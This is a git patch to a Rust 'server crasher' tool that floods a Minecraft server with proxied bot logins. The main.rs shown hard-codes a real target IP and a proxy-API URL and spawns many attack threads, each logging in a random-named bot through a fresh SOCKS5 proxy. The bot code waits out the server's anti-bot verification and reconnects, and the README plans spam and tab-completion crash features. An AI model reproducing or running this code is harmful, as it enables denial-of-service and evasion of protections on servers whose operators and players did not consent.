From 0fe86415ce1656f512e3ac54e2f14566b4dabe22 Mon Sep 17 00:00:00 2001 From: Zihaoxu2008 Date: Fri, 24 Jan 2025 22:57:01 +0800 Subject: [PATCH] =?UTF-8?q?=E6=B7=BB=E5=8A=A0README.md=EF=BC=8C=E5=8A=A0?= =?UTF-8?q?=E4=BA=86=E7=82=B9=E6=B3=A8=E9=87=8A?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 16 ++++++++++++++++ src/bot_socks5.rs | 25 ++++++++++++++++++------- src/main.rs | 18 ++++++++++++++++-- src/utils.rs | 4 +++- 4 files changed, 53 insertions(+), 10 deletions(-) create mode 100644 README.md diff --git a/README.md b/README.md new file mode 100644 index 0000000..575ffed --- /dev/null +++ b/README.md @@ -0,0 +1,16 @@ +# SCRGV - 地球管家 +该项目为生鱼管家的重制版,将项目移植到了rust,并且拥有了更加简洁的程序~~(即丢掉了原先的那坨史山)~~ +得益于rust高效~~(且折磨人)~~的内存管理,新版本可以以更低的内存占用达到更高的效果 +目前的版本仅支持Minecraft 1.20.1,且暂无配置文件等功能(目标ip什么的写死在代码里了) +## 使用方法 +1. 我相信通过百度,你有安装rust的能力,因此跳过此步骤 +2. 将项目克隆到本地 +3. 命令行里跑一跑 +```shell +cd ServerCrasherRust +cargo run +``` +## TODO List +1. 实现配置文件&更加灵活的代理设置 +2. 实现spammer,tab completion crash等实用的~~熊服~~(划掉)功能 +3. 适配多版本(flag先立着,什么时候实现不一定) diff --git a/src/bot_socks5.rs b/src/bot_socks5.rs index f339836..c26f015 100644 --- a/src/bot_socks5.rs +++ b/src/bot_socks5.rs @@ -1,3 +1,5 @@ +// bot的实现 + use std::{io::Error, thread::sleep, time::Duration}; use rust_mc_proto::{DataBufferReader, DataBufferWriter, MinecraftConnection, Packet, ProtocolError}; @@ -24,11 +26,13 @@ impl Socks5Bot { } // bot登录函数 pub fn login(&mut self) -> Result<(), ProtocolError> { + // 这里其实传的server host是什么都不要紧,但保险起见还是弄一下 let mut server_host: String = self.server_addr.clone(); let server_port: String = server_host.split_off(server_host.find(":").unwrap()+1); // println!("{}",server_host); server_host = server_host.strip_suffix(':').unwrap().to_string(); let server_port_num: u16 = server_port.parse::().unwrap(); + // 发一个handshake包,设置next_state为2(Login) self.conn.write_packet(&Packet::build(0x00, |packet| { packet.write_u16_varint(763)?; // protocol_version packet.write_string(&server_host)?; // server_address @@ -36,6 +40,7 @@ impl Socks5Bot { packet.write_u8_varint(2) // next_state })?)?; // handshake packet + // 再发一个,把用户名发过去(不知道为什么,反正文档上写要发两个) self.conn.write_packet(&Packet::build(0x00, |packet| { packet.write_string(&self.username)?; packet.write_boolean(false)// ?; @@ -45,25 +50,30 @@ impl Socks5Bot { Ok(()) } + // 处理服务器发的keepalive pub fn handle_keepalive(&mut self,packet: &mut Packet) -> Result<(), ProtocolError> { // keep alive let id = packet.read_long()?; + // keepalive原封不动丢回去就行 + // TODO 在20秒未进行Keepalive时断开连接 self.conn.write_packet(&Packet::build(0x12, |packet| { // respond with a same keep alive packet packet.write_long(id) })?)?; // println!("Server keep alived"); + // 这个包是重生用的,因为我发现如果玩家上线的时候就是死的,那它就没法自动重生 self.conn.write_packet(&Packet::build(0x07, |packet| { packet.write_u8_varint(0) })?)?; Ok(()) } + // 处理断开连接事件(这个指的是建立连接后再断开连接) pub fn handle_disconnect(&mut self,packet: &mut Packet) -> Result<(), ProtocolError> { // disconnect let message = packet.read_string()?; let text = utils::parse_json_component(message.as_str()); println!("[{}] Server disconnected: {}", self.username, text); - if text.contains("验证程序已启用") { + if text.contains("验证程序已启用") { // TODO 把这个搞进配置文件里面 println!("[{}] Restart flag setted, will restart after 1.5 min", self.username); sleep(Duration::from_secs(90)); self.should_restart = true; @@ -78,12 +88,12 @@ impl Socks5Bot { while self.conn.is_alive() { let mut packet = self.conn.read_packet()?; match packet.id() { - 0x02 => { + 0x02 => { // 成功登录 // login success println!("[{}] Successfully logged in!",self.username); status = 1; } - 0x03 => { + 0x03 => {// 设置压缩CompressionThreshold // set compression let threshold = packet.read_i32_varint()?; if threshold >= 0 { @@ -91,22 +101,22 @@ impl Socks5Bot { // println!("[{}] Compression threshold set to {}", self.username, threshold) } } - 0x23 => { + 0x23 => { // KeepAlive包 self.handle_keepalive(&mut packet)?; } - 0x1A => { + 0x1A => {// 断连包 // disconnect self.handle_disconnect(&mut packet)?; break; } - 0x00 => { + 0x00 => {// 版本不匹配啥的就会走这 if status == 0{ let text = packet.read_string()?; println!("[{}] Failed to login: {}", self.username, utils::parse_json_component(text.as_str())); break; } } - 0x38 => { + 0x38 => {// 去世包(自动复活) // player died println!("[{}] Player died,respawning...",self.username); self.conn.write_packet(&Packet::build(0x07, |packet| { @@ -121,6 +131,7 @@ impl Socks5Bot { Ok(()) } + // 运行bot pub fn run(&mut self) -> Result<(), ProtocolError> { println!("[{}] Connecting to {} with proxy {}", self.username, self.server_addr,self.proxy_addr); self.login().unwrap(); diff --git a/src/main.rs b/src/main.rs index e0fd2f0..7671ad2 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1,3 +1,5 @@ +// 地球管家 - 主程序 + mod bot_socks5; mod utils; @@ -9,7 +11,10 @@ use rand::distributions::Alphanumeric; use serde_json::Value; use reqwest; +// 目标的ip地址(暂时不能解析dns) +// 理论上你可以把它改成任何支持1.20.1的服务器 const SERVER_ADDR: &str = "49.70.3.146:33009"; +// uu代理的api(用来实时获取代理) const UU_URL: &str = "http://uu-proxy.com/api/get_proxies?id=RZ7GS5ZYTA&size=1&schemes=socks5&support_https=false&format=json"; #[tokio::main] @@ -21,6 +26,7 @@ async fn main() { // .build() // .unwrap(); + // 一个互斥锁,防止有多个线程同时请求uuproxy let thread_lock = Arc::new(Mutex::new(())); let mut handles = Vec::new(); @@ -31,6 +37,7 @@ async fn main() { // attack_thread(lock_clone).await; // println!("[MAIN] Thread {} created", i); // }); + // 生成一个线程 let handle = thread::spawn(move || { tokio::runtime::Builder::new_current_thread() .enable_all() @@ -39,21 +46,23 @@ async fn main() { .unwrap() .block_on(async move { attack_thread(lock_clone).await; - println!("[MAIN] Thread {} created", i); + // println!("[MAIN] Thread {} created", i); }); }); handles.push(handle); println!("[MAIN] Thread {} created", i) } - // 等待所有任务完成 + // 等待所有任务完成(虽然大概也许可能这辈子都等不到) for handle in handles { handle.join().unwrap(); } } +// 用于殴打的线程 async fn attack_thread(lock: Arc>) -> () { loop { + // 请求proxy let resp: reqwest::Response; { let _guard = lock.lock().await; @@ -61,11 +70,14 @@ async fn attack_thread(lock: Arc>) -> () { } let proxy_list: Value = serde_json::from_str(&resp.text().await.unwrap()).unwrap(); let proxy = &proxy_list["proxies"].as_array().unwrap()[0]; + let username = generate_string(); + // 这里用来标记是否需要重启 let mut flag = true; while flag { flag = false; + // 创建一个bot let bot_result = bot_socks5::Socks5Bot::new( username.clone(), format!("{}:{}", proxy["ip"].as_str().unwrap(), proxy["port"]), @@ -91,6 +103,8 @@ async fn attack_thread(lock: Arc>) -> () { } } +// 生成一个随机的用户名 +// author: 通义 fn generate_string() -> String { let mut rng = rand::thread_rng(); let len = rng.gen_range(5..=10); diff --git a/src/utils.rs b/src/utils.rs index 0ed6333..73327b4 100644 --- a/src/utils.rs +++ b/src/utils.rs @@ -1,4 +1,6 @@ -// 处理json组件 +// 一些杂七杂八的小东西可以放在这 + +// 处理json组件(有些TextComponent里面一堆extra看的我头皮发麻,所以整个这个) pub fn parse_json_component(json: &str) -> String { let data: serde_json::Value = serde_json::from_str(json).unwrap(); let mut res: String = String::new();